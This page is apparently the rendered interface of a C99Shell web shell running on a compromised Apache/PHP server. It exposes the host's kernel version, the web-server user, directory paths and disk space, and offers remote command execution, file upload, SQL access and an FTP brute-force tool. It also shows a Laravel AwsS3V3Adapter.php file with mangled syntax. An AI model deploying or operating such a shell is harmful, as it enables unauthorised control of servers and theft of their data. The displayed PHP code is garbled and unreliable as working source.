!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/laravel/framework/src/Illuminate/Filesystem/   drwxrwxr-x
Free 13.26 GB of 57.97 GB (22.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AwsS3V3Adapter.php (2.57 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Filesystem;

use 
Aws\S3\S3Client;
use 
League\Flysystem\AwsS3V3\AwsS3V3Adapter as S3Adapter;
use 
League\Flysystem\FilesystemOperator;

class 
AwsS3V3Adapter extends FilesystemAdapter
{
    
/**
     * The AWS S3 client.
     *
     * @var \Aws\S3\S3Client
     */
    
protected $client;

    
/**
     * Create a new AwsS3V3FilesystemAdapter instance.
     *
     * @param  \League\Flysystem\FilesystemOperator  $driver
     * @param  \League\Flysystem\AwsS3V3\AwsS3V3Adapter  $adapter
     * @param  array  $config
     * @param  \Aws\S3\S3Client  $client
     * @return void
     */
    
public function __construct(FilesystemOperator $driverS3Adapter $adapter, array $configS3Client $client)
    {
        
parent::__construct($driver$adapter$config);

        
$this->client $client;
    }

    
/**
     * Get the URL for the file at the given path.
     *
     * @param  string  $path
     * @return string
     *
     * @throws \RuntimeException
     */
    
public function url($path)
    {
        
// If an explicit base URL has been set on the disk configuration then we will use
        // it as the base URL instead of the default path. This allows the developer to
        // have full control over the base path for this filesystem's generated URLs.
        
if (isset($this->config['url'])) {
            return 
$this->concatPathToUrl($this->config['url'], $this->prefixer->prefixPath($path));
        }

        return 
$this->client->getObjectUrl(
            
$this->config['bucket'], $this->prefixer->prefixPath($path)
        );
    }

    
/**
     * Get a temporary URL for the file at the given path.
     *
     * @param  string  $path
     * @param  \DateTimeInterface  $expiration
     * @param  array  $options
     * @return string
     */
    
public function temporaryUrl($path$expiration, array $options = [])
    {
        
$command $this->client->getCommand('GetObject'array_merge([
            
'Bucket' => $this->config['bucket'],
            
'Key' => $this->prefixer->prefixPath($path),
        ], 
$options));

        
$uri $this->client->createPresignedRequest(
            
$command$expiration
        
)->getUri();

        
// If an explicit base URL has been set on the disk configuration then we will use
        // it as the base URL instead of the default path. This allows the developer to
        // have full control over the base path for this filesystem's generated URLs.
        
if (isset($this->config['temporary_url'])) {
            
$uri $this->replaceBaseUrl($uri$this->config['temporary_url']);
        }

        return (string) 
$uri;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--